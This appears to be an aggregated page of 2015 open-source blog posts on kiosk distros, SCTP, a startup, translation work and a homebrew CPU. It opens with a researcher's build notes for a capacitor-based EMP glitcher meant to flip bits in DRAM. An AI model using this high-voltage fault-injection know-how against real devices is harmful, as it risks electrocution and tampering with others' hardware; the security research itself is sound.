    08 November, 2015 04:58 PM

    05 November, 2015

    David Kaplan

    Lunchbox Glitching for Fun & No Profit

    As part of my work on the IBM X-Force Application Security Team, a few months ago I wanted to see if I could reproduce a Rowhammer-exploit-type memory corruption via an externally-generated electromagnetic pulse (EMP). The idea here was to target primary memory (usually [S]DRAM) to perform a bit-flip via an electromagnetic pulse-induced glitch.

    I have (thus far) failed miserably to build an actual exploit; more on why in a subsequent blog post.

    In this post, I'd like to detail my IBM-sponsored single-pulse glitcher (EMP generator) build (yes, it involves Tupperware) and touch on some basics of the theory of operation of its various components.

    DISCLAIMER 1: IF YOU DON'T KNOW EXACTLY WHAT YOU'RE DOING, DO NOT TRY REPRODUCE THIS BUILD OR PLAY AROUND WITH HIGH-VOLTAGE CAPACITORS. IT'S POTENTIALLY DANGEROUS (READ: DEADLY)!

    DISCLAIMER 2: EVEN IF YOU KNOW EXACTLY WHAT YOU'RE DOING, DO NOT BUILD THIS! LEAVING IT AROUND COULD BE DANGEROUS TO SOMEONE WHO TOUCHES IT (LIKE YOUR KIDS)!

    Disclaimer 3: My build's EMP range is in the order of millimeters to centimeters and the interference it causes is relatively weak. It's not a weapon and was built at my employer for security-research purposes only and used only within a private lab. Do not use this build for nefarious reasons!

    OK, warnings aside, let's begin.

    I'll start by detailing the most basic build which simply consists of a single capacitor, a switch and a coil of wire like so:

    If the capacitor was charged, closing the circuit (by flipping the switch) would induce an extremely high current over the coil load (as there is very little resistance in the circuit). This is because capacitors store energy. The amount of energy stored by a capacitor is denoted by Farads, or the symbol F.
    As the electrons flow from the negative pole to the positive pole of the capacitor, a magnetic field is formed as per Maxwell's correction to Ampère's Law. In our circuit above, these electrons flow through the coil - a solenoid - concentrating the magnetic field inside the coil. The strength of this field is proportional to the current flowing through the solenoid which, in turn, is proportional to the energy dissipated by the capacitor discharge.

    It is this magnetic field that causes electronics to go crazy. This is due to the fact that the field can excite electrons (and hence current flow) within the target device (the exact reverse of what's happening on the EMP side). If one manages to excite the target enough, Bad Things May Happen.

    It follows therefore that the more energy stored within the capacitor, the stronger the magnetic field will be.

    The decision that we have to make at this point is which capacitor to chose. We need a capacitor capable of quickly discharging its stored energy and one with large enough capacity to induce a sufficiently-strong magnetic field within the solenoid. We don't wish for the field to be too strong as our range of operation for this project (glitching memory) is in the order of millimeters and the target devices operate at around 3.3 volt so the glitch amplitude shouldn't need to be that high to induce some undefined behaviour.

    The easiest capacitor to go for, imho, is a 330V 80uF flash capacitor. You'll see this advised by a number of glitcher-building guides on the net. The reason is that it's easily available and comes with a charging circuit to match! Just find a disposable camera with a flash and gut it (actually getting more difficult to find these days; I think I found the last 3 in the country).

    A word of caution when opening these cameras. Make sure the capacitor is discharged before touching any part of the circuitry inside. You can do this by firstly winding up the camera and charging the flash. Then activate the shutter to discharge the capacitor. Additionally it's a good idea to make sure it has fully discharged by shorting both ends of the capacitor with a rubber-handled screwdriver (it might make a spark - the energy dissipates as light and heat - but it's likely safe to do with a capacitance of this value).

    In our first circuit above, we assumed that the capacitor was already charged. In our working circuit we will need to charge the capacitor.

    In order to charge capacitors, one must apply a potential difference (voltage) over it's poles which is greater than its rated voltage for a set amount of time. The time that a capacitor takes to charge is specified by the RC time constant, tau T, of the circuit such that the capacitor will be charged to 63% after 1T. At 4T the capacitor will be charged to 98%. The charging time between 0T and 4T is called the transient period. After 4T the capacitor enters the steady-state period. At 5T the capacitor is considered to be fully charged.

    In our circuit, we have selected a value of R = 10k. Our capacitance is C = 80uF.

    T = RC
      = 10k x 80u
      = 800 milliseconds
    
    5T = 4 seconds
    

    So in order to charge our capacitor to capacity, we need to apply 330V over its poles for 4 seconds.

    The challenge now is to provide a 330V source with which to charge the capacitor. One can use a DC-DC step-up transformer, however luckily the disposable camera which we pillaged above has a nice little charging circuit which we can re-purpose for our needs.

    The circuit in most disposable cameras has a feedback mechanism whereby closing the switch causes the charging process to commence and it automatically stops charging when the target voltage is reached (this is so that one doesn't need to hold down the flash button on the camera for the whole duration of the transient period). We'll consider it a black-box for our purposes and using this charger, we can update our circuit diagram as follows:

    The push button switch in the diagram above commences the charging procedure. After the capacitor has reached capacity, closing the switch between the capacitor and the solenoid will create the EMP.

    Even though we now have a full EMP circuit, I added a number of features to my design.

    Firstly, I doubled the capacitance of the circuit in order to create a stronger pulse. I pillaged another 80uF capacitor from a disposable camera and added it in parallel to the first capacitor. This gives a total capacitance of 160uF.

    I then added a high impedance voltage-divider circuit which allows me to digitally measure the voltage of the circuit. This is connected in parallel over the capacitor. The reason for the high impedance is that I don't want the capacitor to discharge ('bleed') its energy though this path otherwise there won't be any energy to discharge through the coil!

    The total impedance of the voltage divider is just over 2.2M. To understand the affect that this has on the circuit, we need to take a look at how the capacitor discharges.

    As with the charging circuit above, the capacitor will discharge 63% of its energy in 1T and be fully discharged at 5T. The impedance of the voltage divider is approximated 2.2M, therefore:

    T = RC
      = 2.2M * 160uF
      = 58.6 minutes
    

    As one can see, the bleeding through the voltage divider is quite slow and doesn't have a major affect on the energy of the EMP if the EMP is triggered shortly after the capacitor is charged.

    Interestingly this also provides a built-in safety feature. Forgetting to discharge the circuit could prove hazardous as capacitors will hold their charge for a long time. The voltage divider will cause the circuit to bleed the capacitors over time as even though the impedance is high, there is some current flowing through this path. The capacitors I'm using will generally be considered safe at around 42V. They will be discharged to this value at roughly 2.2T, so after about 2 hours and 10 minutes.

    The aforementioned voltage divider is connected to a microcontroller (MCU). The one I'm using is the MicroPython board which is a pretty awesome bit of kit (highly recommended). I use this board connected over USB to a PC to control the glitcher (mostly). The voltmeter gives me an indication of the current level of charge of the capacitor. The MCU is also connected to two relays. The first relay is used to complete the charger circuit (in place of the disposable camera push button). The second relay connects a 3.3k resistor over the poles of the capacitor. I can use this to very quickly discharge (bleed) the circuit and even use it to select a particular voltage for the pulse (I can bleed the circuit for a very short time causing a controlled drop in capacitor charge; to half the voltage for example). This is a 35W rated part as it needs to be able to handle the amount of energy dissipated through it (high current). The interface is shown in the video of the capacitor charging below:

    The final part of the build is the solenoid itself. I have experimented with a number of different coils; diameter, number of windings etc. The ideal coil depends on the application and isn't an exact science at all. For my needs I wanted a small, focused EMP with which I could target a RAM IC without glitching the surrounding electronics. My first attempt at a large coil tended to reset my computer! I then made a few smaller coils out of insulated copper wire wound around ferrite iron cores. Here are some pictures of my various coils:

    So does the glitcher work? Well yes! I verified this experimentally. As mentioned, the large coil can reset my computer. I used the smaller coils to target RAM IC chips in a PC. I was able to cause some havoc with RAM contents but I'll leave that for another blog post.

    As for how the glitch actually looks on the target; according to Wikipedia, what we should see is a damped sinewave pulse. This is due to coupling on the ground plane between the glitcher and the target. I won't go into this in detail but it's all on Wikipedia if you're interested. Throwing an EM pulse out at a scope probe shows exactly this affect so all seems to be working well:

    That's all for now folks! Leaving you with a picture of the glitcher in all it's tupperwear-enclosed glory!

    05 November, 2015 06:12 PM

    02 November, 2015

    David Kaplan

    CUPC/8 Goodbye ROM, Hello ROM

    So it has been a while since my last CUPC/8 (formerly known as CUPCake) update.

    Over the past few months I have spent a significant amount of time working fleshing out the instruction set, implementing support in the assembler and simulator and coding the Kernel (the status of which will be discussed in another blog post).

    I have also spent some time back with the hardware itself; integrating and testing the physical RAM and MMU FPGA modules, bus interfaces etc.

    Additionally, I finally got around to starting the documentation (see here). Some of it is already slightly out of date but hopefully I'll revise it soon.

    As development has progressed, I have continually challenged my original design decisions and this has resulted in a few design revisions.

    The main change is that the memory board is no longer responsible for loading the ROM into primary memory on boot. It just didn't make sense for me to use a powerful (relative to CUPC/8) XMEGA MCU within the context of the project as a whole.
    As such, I have removed the XMEGA from the design. The ROM chip is now connected directly the the SoC over I2C. The SoC also now includes a small ROM buffer on-chip (termed ROM0) which will hold code that will be responsible for bootstrapping the ROM code. ROM0 is memory-mapped into the 64k memory region by the MMU. The hard reset vector points to the start of the ROM0 and will therefore execute it on boot.
    The ROM0 code will be minimal; consiting of a stripped-down I2C driver responsible for the loading of the off-chip ROM chip (ROM1) into primary memory and jumping to the ROM1 start vector.
    This is somewhat similar to how modern CPUs bootstrap today.

    My next milestone is to get the hardware SPI and I2C modules working properly and interfacing ROM1 with the FPGA development board.

    02 November, 2015 01:44 PM

    20 October, 2015

    Guy Sheffer

    FullPageOS – Out-Of-The-Box Kiosk mode for the RaspberryPi

    FullPageOS

    FullPageOS

    Hey all,

    Today I am announcing a RaspberryPi operating system that addresses a small need we have – Get the RaspberryPi to display a webpage on full screen with no hassle.
    The OS is called FullPageOS. And you can download it here.

    Why I built it

    A friend of mine, Tailor Vijay wanted something to stream video and add titles to it. Also I was looking for a way to start the RaspberryPi with a browser on full screen for a stats screen at work, and apparently the only thing available is complex guides that only partly work on today’s RaspberryPi.

    So what I did last weekend is build a distro based off the code of OctoPi, the 3D printer operating system I built. All this distro does is start Chromium at boot on full screen, with a URL of your choice. The url can be changed conveniently from a text file on the /boot FAT folder. So all you have to do is set the wifi and url via text files, boot, and voilà!
    Among the minor tweaking is the elusive setting of disabling the screen from blanking.

    How to set it up

    What’s nice about FullPageOS is that its simple, no need to install packages, just flash it like any distro, set your wifi and URL settings and boot.

    1. Open the FAT filesystem that is mounted as /boot
      on the pi
    2. Set the URL you want in the file fullpageos.txt
    3. If you need to set up wifi, set your wifi settings with the file fullpageos-network.txt or any way you want are used to on the RaspberryPI
    4. Plug to HDMI display, internet and boot

    Known issue with black boarders

    On some screens I tried FullPageOS I got a black boarder, to fix this, you need to edit config.txt and uncomment the line:

    disable_overscan=1

    This fixes the issue.

    Contribution is appreciated!

    FullPageOS works, but its missing the shiny slickness that OctoPi has today. For example if someone wants help me write a nice default boot page that would be great! The current default url is just the github page. So as usual, pull requests are welcome.
    The source works just like an OctoPi build, and as a by product I wanted to show how easy it is to create custom distros for the RaspberryPi using this build method. We could, really, build a universal custom distro system based off these things. There is already a variant system that was ported from OctoPi code.

    FullPageOS image can be downloaded here

    Thanks

    Share and enjoy,
    Guy


    Full text

    20 October, 2015 04:04 PM

    25 September, 2015

    ik

    הכירו את SCTP

    זהירות, פוסט ארוך

    לאחרונה התחלתי ללמוד קצת על מערכת אותות מספר 7 (SS7) במסגרת פרוייקט מאוד גדול שאני מתעסק בו כבר מספר חודשים לחברה מאוד גדולה וידועה.

    עד עכשיו היה שימוש רק ב E1, אז החיבור הוא קווי באמצעות קו רגיל של ISDN, אבל יש לזה מגבלה של 30 ערוצי תקשורת פר חיבור (אם אין דחיסה).
    אנחנו כמובן מעוניינים לספק כמה שיותר תעבורה, אז התחלנו לברר על משהו הנקרא SIGTRAN אשר הוא בעצם SS7 על גבי IP, אך הוא אינו משתמש ב TCP או UDP בשביל זה, אלא על גבי פרוטוקול (יחסית חדש) בשם  SCTP.

    אני כבר מספר שנים יודע כי הפרוטוקול קיים, ומעולם לא הבנתי מדוע עולם ה VoIP לא לקח אותו לשימוש. ולאחר שלמדתי על HTTP/2 לא הבנתי גם מדוע הוא לא נבחר לשם.
    הפוסט הבא מנסה להסביר בקצרה יחסית מהו הפרוטוקול, בתקווה שיעזור לכם להיחשף לעוד מידע שלרוב איננו נחשפים אליו.

    מהו SCTP?

    הקדמה

    ישנם שני פרוטוקולים מעל רמת IP אשר מאוד מוכרים בעולם – TCP ו UDP.

    על רגל אחת, כאשר מדברים על TCP, מדברים על פרוטוקול אשר יודע לטפל בנתונים העוברים תחת רשת ה IP, כשהוא מודע האם תוכן הגיע ליעדו או לא, מה הסדר שלו, והאם צריך לשדר אותו מחדש, כולל ניסיון לנהל עומס בבקשות החוזרות.

    כאשר מדברים על UDP, אנו מדברים על מערכות הדורשות גישה של real-time. אין בפרוטוקול עצמו איזשהו מנהל אשר יודע מה קורה עם המידע, כלומר הוא לא יודע לזהות ולדווח האם הבקשה הגיעה ליעדה בהצלחה או לא, או האם הסדר הוא בכלל תקין, ובעצם הניהול הוא בפרוטוקול עצמו (שכבה 5 ולפעמים גם 7) המשתמש ב UDP ולא מתוך שיטת התעבורה הנקראת UDP.

    אז מה הוא SCTP או Stream Control Transmission Protocol בשמו המלא?

    הסבר הרעיון (TL;DR)

    תארו לכם מצב בו אתם רוצים לדבר בהודעות, או מידע במקום בפקטות. אבל זה לא הכל, אתם רוצים לשלב כמה שיותר מידע שאפשר לשלוח ולספק עליו חיווי.

    לפעמים נרצה לדעת אם זה נכשל, לפעמים לא. לפעמים נרצה להסביר את סדר החתיכות, ולפעמים אנחנו רוצים להפקיד שההודעה כמו שהיא אינה מחולקת בכלל.

    כלומר אם אשווה את זה לבקשת HTTP, אני יכול להגיד כי תוכן מסוים של ווב, יהיה חייב להישלח כמו שהוא, בעוד שחלקים קטנים של מידע, למשל css ו JS, כולל דף ה HTML ישלחו בחלקים באותה בקשה.

    כלומר יש לנו כאן סוג של פרוטוקול multiplexing .

    במידה ואני רוצה שגודל הדף, גודל הפרמטרים, ורשימת הקבצים להוריד יגיעו בפעם אחת, אז הפרוטוקול מאפשר. כאשר התוכן של הקבצים יכולים להגיע בבקשה נפרדת, או מחולקת גם בבקשה הזו, בהתאם לגודל.

    מוכר לכם ממשהו? למשל מגישה בשם HTTP/2?
    אבל כאן זה פרוטוקול ברמה נמוכה יותר, ולא מימוש בשכבה 7.

    אבל העניין הוא שזה ממש לא הכל. יש לפרוטוקול תמיכה בmultihoming – כלומר האפשרות להתחבר למספר שרתים במקביל, וכך להבטיח שרידות בקבלה ושליחה של המידע.
    הפרוטוקול אפילו מאפשר תמיכה במציאות הנתיב עם האיכות הכי טובה שהגדרנו, כמו ש MPLS, DiffServ וכיוב' מספקים.
    עוד פיטצ'ר נחמד, הוא תמיכה ב jumbo frames, אשר מאפשרים לשלוח עם MTU גדול יותר מ1500 בתים.

    אז כיצד זה בעצם עובד?

    הפקטה עצמה די פשוטה יחסית במבנה שלה:

    sctp header

    מציינים את הפורט אשר ניגשים ממנו, והפורט שניגשים אליו בצד השני.
    אז מציינים מזהה בגודל של 32 ביט, שיהיה ייחודי לבקשה.
    לאחר מכן, יש לציין גם את הchecksum של כל הבקשה. פעם החישוב היה של adler32 אך בגלל חולשה של החישוב, הוא עבר ל crc32c.

    עד כאן החלק של הפקטה עצמה, שמתארת את הבקשה.
    עכשיו צריך בעצם להחזיק את המידע שיש צורך לשלוח איכשהו.
    המידע הוא מידע חלקי ונקרא chunks. כלומר "חתיכה".

    ה header שלו בנוי כך:

    sctp chunk field

    8 ביטים הראשונים נקראים Chunk Type, השדה מחזיק מידע על סוג ה"חתיכה". הערכים יכולים להיות מ0 ועד 254, כאשר הספרה 255 שמורה לשימוש עתידי.

    שני הביטים הראשונים של Chunk Type מוגדרים בצורה כזו, אשר מאפשרים להתמודד עם תקשורת:

    שמונה הביטים הבאים, נקראים Chunk Flags, ותלויים בסוג ה Chunk שהיה מקודם. אלא אם צוין במיוחד, הוא לרוב יהיה בערך 0, ויזכה להתעלמות משני הצדדים.

    שש עשרה הביטים הבאים הנקראים Chunk Length מחזיקים את אורך הבקשה במספר שלם ויכול להיות עד הטווח של 65,535.  הגודל מכיל גם את גודל ביחד עם Chunk Type ו Chunk Flags. במידת הצורך, השדה יהיה עם padding של אפסים בהתחלה, שלא יעלו על יותר מ3 בתים בפועל.

    החלק האחרון הוא המידע בפועל של ה"חתיכה", בצורה שהיא משתנה בהתאם לסוג המידע בתוכה.

    sctp chunk value

    השדה הראשון הוא בגודל 16 ביט, וקיבל את השם Parameter Type. הוא יכול להיות מספר בין 0 ל65,534, כאשר המספר 65,535 הוא מספר שמור עבור הגדרת הרחבות של IETF.

    השדה השני הוא בגודל 16 ביט, וקיבל את השם Chunk Parameter. הוא מחזיק את אורך ה value בבתיים כולל את עצמו ואת Parameter Type.
    פרמטרים עם גודל אפס יהיה לו גודל של 4, ללא תוספת רווחים בהתחלה.

    השדה השלישי הוא בגודל משתנה, והוא קיבל את השם Parameter Value. השדה מכיל את המידע בפועל שישלח עבור הפרמטר.

    הגודל המקסימלי של כל המידע הזה, כולל השדות הראשונים חייב להיות מכפלה של 4 בתים. במידה והוא אינו כזה, יש padding לאחר סיום ה שדה השלישי של אפסים אשר אינם כלולים באורך הפרמטר. אך לשולח אסור לספק padding של יותר מ3 בתים. המקבל חייב להתעלם מהpadding.

    סוג הפרמטר בנויים בצורה בה 2 הביטים הראשונים מציינים את סוג הפעולה שיש לקחת כאשר המקבל לא יודע לזהות את הפרמטר:

    המידע עצמו

    עד עכשיו, דיברתי על החלק בו יש תיאור של מה נשלח. אבל יש את המידע עצמו שיש צורך לשלוח:

     

    sctp payload

     

    השדה שהוא Reserved הוא בגודל 5 ביטים ותמיד חייב להיות 0, ותמיד חייבים להתעלם ממנו בקבלת המידע.

    האותיות U, B ו E הן בעלות גודל של ביט בודד, ויכולות להיות בעלות הערך של 0 או 1:

    במידה והמידע אינו מחולק (fragmented), אז הערכים של B ו E צריכים להיות עם הערך 1. כאשר אם שניהם מחזיקים ב0, הכוונה היא שזה האמצע של ההודעה.
    במידה וגם B וגם E מכילים את הערך 1, מדובר במידע שאינו מחולק.

    sctp payload fragments

    במידה, ומדובר במידע מחולק, אז השדה של TSN, צריך להיות בשימוש על ידי המקבל עבור הרכבה מחודשת של ההודעה. כלומר, שדה ה TSN חייב להיות מספר עוקב בשביל להצליח להרכיב חזרה את ההודעה.

    השדה Length הוא בגודל 16 ביט, והוא בטווח של עד 65,535. השדה מציין את אורך או גודל המידע בבתים, כולל ההתחלה של השדה type ועד למעשה ה Data עצמו כולל, לא כולל איזשהו padding.
    שדה ה Data עם בית בודד של מידע מהמשתמש, יכיל את המספר 17, בשביל לציין 17 בתים.
    כאשר מידע מהמשתמש יהיה בגודל המצויין באות L, יכיל את האורך של 16+L, אשר מציין 16+L בתים. חשוב לציין כי L חייב להיות גדול מ0.

    השדה TSN הוא בגודל 32 ביטים ויכול להיות מ0 ועד המספר 4,294,967,295. כאשר לאחר הגעה למספר הזה, הוא יחזור להיות 0.
    תפקיד השדה הוא להחזיק את הערך של Transmission sequence number – מזהה עבור אותה חתיכה שנשלחה. וכאמור יהיה בשימוש כאשר יש להרכיב מחדש הודעה המחולקת למספר פקטות.

    השדה של Stream Identifier S, הוא בגודל של 16 ביט, והוא בטווח של 0 ועד 65,535. תפקידו הוא לזהות לאן ה stream שייך.

    השדה של Stream Sequence Number הוא בגודל של 16 ביט, והוא בטווח של 0 ועד 65,535. תפקידו הוא לדעת מה הסדר של ה stream אשר נשלח, לפי השייכות שלו המוגדרת ב Stream Identifier S.
    כאשר ההודעה מתחלקת (fragmented) על מספר בקשות, אותו מספר עוקב חייב להיות עם כל החלקים של ההודעה.

    השדה של Payload Protocol Identifier הוא שדה בגודל של 32 ביט. המקום הזה מייצג בערך מידע של התוכנה או שכבה כבוהה, כמספר הפרוטוקול. המידע הזה מועבר על ידי SCTP לשכבה הגבוהה יותר, ונשלח ל peer. המזהה אינו נמצא בשימוש של SCTP עצמו, אך יכול להיות בשימוש על ידי מערכות תקשורת שונות, וכן על ידי התוכנה עצמה הזקוקה למידע הזה בשביל לזהות את סוג המידע הנשלח בחלק המידע למשתמש.
    השדה חייב להישלח כחלק ממידע מחולק (fragmented), בשביל שיהיה נגיש למפרשים שונים).
    חשוב להדגיש כי SCTP אינו נוגע על ידי מימוש ה SCTP, ולכן המידע שבו אינו חייב להופיע כ Big Endian.
    שכבת התוכנה היא זו שאחראית על המרת המידע.
    במידה והשדה מחזיק בערך 0, זה אומר כי אין הגדרה למזהה שכבת תוכנה על במידע המשתמש עצמו.

    השדה של User Data, הוא בגודל משתנה. השדה הזה הוא המידע עצמו שנשלח על ידי המשתמש. המימוש חייב לשים padding של 4 בתים בערך של 0 בסוף. תוספת 4 הבתים, אסורה להיכלל בחישוב אורך המידע.

    זה הבסיס של הפרוטוקול עצמו. ב RFC4960 תוכלו למצוא את כל הפרוטקול, ובנוסף מידע שלא הכנסתי לכאן, למשל חוקים נוספים לכל שדה, איך עושים multihoming ועוד.

    עוד מקומות מעניינים לחקור: הם בוויקיפדיה, בערך המסביר על SCTP, ובערך המלמד על המבנה של הפרוטוקול.


    תויק תחת:Operating Systems, אינטרנט, טכנולוגיה, קוד פתוח, רשתות, תוכנה, תקשורת

    25 September, 2015 10:03 AM

    20 September, 2015

    Guy Sheffer

    How I Founded a Startup

    ShapeDo logo

    ShapeDo logo

    Hey all,

    It’s my 29th birthday this week, and that sorta made me realise no one really knows what I have been doing the past 18 months, so I thought it’s time to tell you how I founded a company. Unlike the tutorials and guides I wrote here, I am not sure this would work for everyone, but it did work for me.

    The Idea

    I have started one of my biggest and ambitious projects yet, after collaborating with people around the world bringing OctoPi to the world, I realised that something was missing from the scene of 3D design – a decent version control and collaboration tools.

    This was the initial idea, as you will see things played out differently, but what was important with this idea was contagious, I got the feeling everyone I told about it wanted to join me, it was wonderful.

    Assembling the team

    My talent is mostly in the core backed stuff, so I found myself going to one of the more talented web developers I know for help, my co-worker at Zend, Amit. It started by asking him javascript questions. When he realized what I was doing, he started helping me out, and he was fast, suddenly in days my core stuff was accessible to the world with a simple and elegant interface. At that time we thought this is going to be a nice open source project, not something commercial, but as the server load grew on Amit’s little server we understood we needed some way to pay its bills, so I started to look for someone that would help me figure out how to sustain this financially. Since our idea was “github for 3D printing”, it seemed like there should be a way to support it, perhaps charge for closed-source projects.

    I’ve been going around the Makerspaces in Tel-Aviv, mostly XLN and T.A.M.I, in some random workshop I came across someone who said “You should write an executive summary, I don’t mind helping you out”. I didn’t even know what an executive summary was at the time, and today it makes me realise how much I learned about fundraising during this year. I later found his name was Ari and he was between companies. We set to meet at Google Campus and write it since we both went to some ecology hackathon that was going on there.

    We ended up drunk from exhaustion and pizza, scooting on chairs at the space and we also had a draft. As we wrote it, the idea spread to Ari, and he realized he that he wanted to join. I introduced him to Amit. It took a while to put our trust in Ari, less time than we expected, and today I know ShapeDo would not have reached anything without Ari’s help. Eventually we wrote a few basic agreements on paper and Ari made sure we register a company, ShapeDo was born.

    The Pivot

    We worked on a new site for 3D printing and launched, we got coverage on 3D printing industry, and the user base grew, but people were not really using the collaboration features. It turns out most people 3D printing share are simple one person designs in one afternoon projects. However, what is special about the 3D printing industry is that there is no 3D CAD tool that was built for it. So you end up meeting designers from mechanical engineering, gamers, architects, programmers and any discipline that has a 3D design program that can export the printable files. We (everything eventually becomes “we”) found that everyone wanted this kind of tool in their workplace, while in 3D printing was not as urgently needed.

    Ari and I had a talk where he thought we should pivot either to construction planning, or mechanical engineering. In the end construction seemed more favourable because AutoDesk, who rule that realm, had neglected collaboration (also known as, product lifecycle management or PLM) for the past decade, and so there was a lot of low-hanging fruit. At first I didn’t want to pivot, after all 3D printing was my idea, but eventually, I let it go. A lot of what a startup is about is letting go of your ownership, a company has to grow beyond you. We slowly found ourselves with a technology for an industry we know nothing about, so we learned, we banged on doors and met with architects, contractors, constructors, anyone that is in the process of construction, we can’t cover everything, but we were getting an idea of what is going on.

    Investors and our Investment

    The pivot did more than point us to users we could talk to and find out what they actually need, it also made the business proposition make more sense. The goal was not to just build a big collection of files for people to share, it was to build a system we could charge for. We started getting investors interested, we first started talking to angel investors, but it seemed to be much harder than anticipated. Angels seem to be mostly interested in apps. Something your 6 year old could download, something they can understand, there are a small number of them that would understand what it means to sell something to a construction enterprise. So it made the process much harder, we found that the first meeting was just for grasping what we actually do, before talking about the investment itself.

    Ari and I went around looking for an investment, I had an 80% time job so I had an extra day to do this. I had a few chats about it with Gina, who also had that extra day for OctoPrint. I think that 80% is good when you want something steady while looking for funds, stability in your life in one part lets you explore radical stuff in another.

    Eventually we set a meeting with Incentive, we got a warm recommendation for them for the accelerator Ari was going to at the time called Siftech (an accelerator is a place you got to for a few months that helps your startup out with a physical location and various services, usually paid). Indeed when we met with them they seemed much better than the angel investors we were talking to. The catch was that we had to base our offices in Ariel University (though today it seems not so bad, there is never traffic to work). The program they offer was enough to keep us and an extra worker for a 1.5-2 years. Working on something as volatile as ShapeDo means you don’t want to have to think about personal finance, it means you don’t have time to consider the company’s. So we went through a due diligence, it took a while, but it was a good process for us and the company. Today our offices are located in the investors offices.

    Today, Happy 29th Birthday

    Today we found a go to market, something we can sell, and we are just in the process of hiring someone from the industry to help us out. Our system is flooded with real customer data. Things are going great. But as I saw every step of the way, everything can explode the next day, nothing is certain, and I think that kind of attitude is what got us this far.

    I hope this helps the people around me to know what is going on, I feel like I had to let this be known. It might even help others that are on a similar path. I’ve been playing with 3D printers for fun in the meantime, and I might post a few findings.

    As always, would love to hear your comments.

    Celebrating first day at the office

    Celebrating first day at the office

    Example of what we do today

    What we are selling today is a a construction planning collaboration platform and a comparison tool for constructors. At the bottom you can see how complex an architectural plan is, and how easy it is to spot the changes marked in purple detected by our software, normally this would have been done on hard paper by the constructor.

    Architectural plan with the changes marked between two versions

    Architectural plan with the changes marked in purple between two versions


    Full text

    20 September, 2015 09:23 AM

    10 September, 2015

    Yoav Farhi

    אסור לאפשר צנזורה של מחאה לגיטימית – באים לבנקאים

    ״באים לבנקאים״ הוא פרוייקט מחאה אזרחית לא אלימה נגד ראשי מערכת הבנקאות המושחתת והמסואבת בישראל.

    מסתבר שהבנקים הצליחו להוציא צו המורה לגוגל להסיר את האתר bankaim.org מתוצאות החיפוש שלהם, ויותר מזה – על הצו הוטל איסור פרסום. אז האתר עלה שוב, בכתובת ganavim.com. אם פספסתם, באים לבנקאים – מחאה נגד הבנקים.


    10 September, 2015 07:58 AM

    30 August, 2015

    Yosef Or Boczko

    מצב תרגום GNOME – לקראת 3.18

    צהריים טובים.

    זכיתי ביום גימלים לכבוד דלקת ריאות, על כן ניצלתי את הזמן לתרגום GNOME. בגדול הספקתי לתרגם הכל, מלבד את gitg.

    אחוז התרגום עומד על 82% (37120 מחרוזות מתורגמות, 3326 מעורפלות ו־4675 שאינן מתורגמות), בהשוואה ל־82% (35965 מחרוזות מתורגמות, 3087 מעורפלות ו־4453 שאינן מתורגמות) ב־3.16 ו־84% (36629 מחרוזות מתורגמות, 2698 מעורפלות ו־3966 שאינן מתורגמות) ב־3.14.

    ניכר שיש עלייה מתמדת במספר המחרוזות המתורגמות, אם כי גם במספר המחרוזות המעורפלות והלא־מתורגמות. אוכל לייחס זאת ליישומים אותם אני לא מתרגם (יישומים ישנים או יישומי פיתוח, שמסיבות אלו ואחרות לא הוצאו מרשימת התרגום הבסיסית).

    ניתן לקרוא טיוטת הערות השחרור ל־3.18. אין לי זמן לסקור השינויים בעצמי…

    אני מקווה שאצליח להתמיד ולתרגם את GNOME לאורך השירות שלי.

    שיר נוסף מאריאל הורוביץ, ותודה לו על כך.

    יוסף אור

     

    30 August, 2015 01:01 PM

    27 August, 2015

    Amir Aharoni

    Amir Aharoni’s Quasi-Pro Tips for Translating the Software That Powers Wikipedia

    As you probably already knew, Wikipedia is a website. A website has content—the articles, and user interface—the menus around the articles and the various screens that let editors edit the articles and communicate to each other.

    Another thing that you probably already knew is that Wikipedia is massively multilingual, so both the content and the user interface must be translated.

    Translation of articles is a topic for another post. This post is about getting all of the user interface translated to your language, as quickly and efficiently as possible.

    The most important piece of software that powers Wikipedia and its sister projects is called MediaWiki. As of today, there are 3,335 messages to translate in MediaWiki. “Messages” in the MediaWiki jargon are strings that are shown in the user interface, and that can be translated. In addition to core MediaWiki, Wikipedia also has dozens of MediaWiki extensions installed, some of them very important—extensions for displaying citations and mathematical formulas, uploading files, receiving notifications, mobile browsing, different editing environments, etc. There are around 3,500 messages to translate in the main extensions, and over 10,000 messages to translate if you want to have all the extensions translated. There are also the Wikipedia mobile apps and additional tools for making automated edits (bots) and monitoring vandalism, with several hundreds of messages each.

    Translating all of it probably sounds like an enormous job, and yes, it takes time, but it’s doable.

    In February 2011 or so—sorry, I don’t remember the exact date—I completed the translation into Hebrew of all of the messages that are needed for Wikipedia and projects related to it. All. The total, complete, no-excuses, premium Wikipedia experience, in Hebrew. Every single part of the MediaWiki software, extensions and additional tools was translated to Hebrew, and if you were a Hebrew speaker, you didn’t need to know a single English word to use it.

    I wasn’t the only one who did this of course. There were plenty of other people who did this before I joined the effort, and plenty of others who helped along the way: Rotem Dan, Ofra Hod, Yaron Shahrabani, Rotem Liss, Or Shapiro, Shani Evenshtein, Inkbug (whose real name I don’t know), and many others. But back then in 2011 it was I who made a conscious effort to get to 100%. It took me quite a few weeks, but I made it.

    Of course, the software that powers Wikipedia changes every single day. So the day after the translations statistics got to 100%, they went down to 99%, because new messages to translate were added. But there were just a few of them, and it took me a few minutes to translate them and get back to 100%.

    I’ve been doing this almost every day since then, keeping Hebrew at 100%. Sometimes it slips because I am traveling or ill. It slipped for quite a few months because in late 2014 I became a father, and a lot of new messages happened to be added at the same time, but Hebrew is back at 100% now. And I keep doing this.

    With the sincere hope that this will be useful for translating the software behind Wikipedia to your language, let me tell you how.

    Preparation

    First, let’s do some work to set you up.

    Priorities, part 1

    The translatewiki.net website hosts many projects to translate beyond stuff related to Wikipedia. Among other things it hosts such respectable Free Software projects as OpenStreetMap, Etherpad, MathJax, Blockly, and others. Also, not all the MediaWiki extensions are used on Wikimedia projects; there are plenty of extensions, with many thousands of translatable messages, that are not used by Wikimedia, but only on other sites, but they use translatewiki.net as the platform for translation of their user interface.

    It would be nice to translate all of them, but because I don’t have time for that, I have to prioritize.

    On my translatewiki.net user page I have a list of direct links to the translation interface of the projects that are the most important:

    I usually don’t work on translating other projects unless all of the above projects are 100% translated to Hebrew. I occasionally make an exception for OpenStreetMap or Etherpad, but only if there’s little to translate there and the untranslated MediaWiki-related projects are not very important, for example, they are unlikely to be used by anybody except a few software developers, but I translate those, too.

    Priorities, part 2

    So how can you know what is important among more than 15,000 messages from the Wikimedia universe?

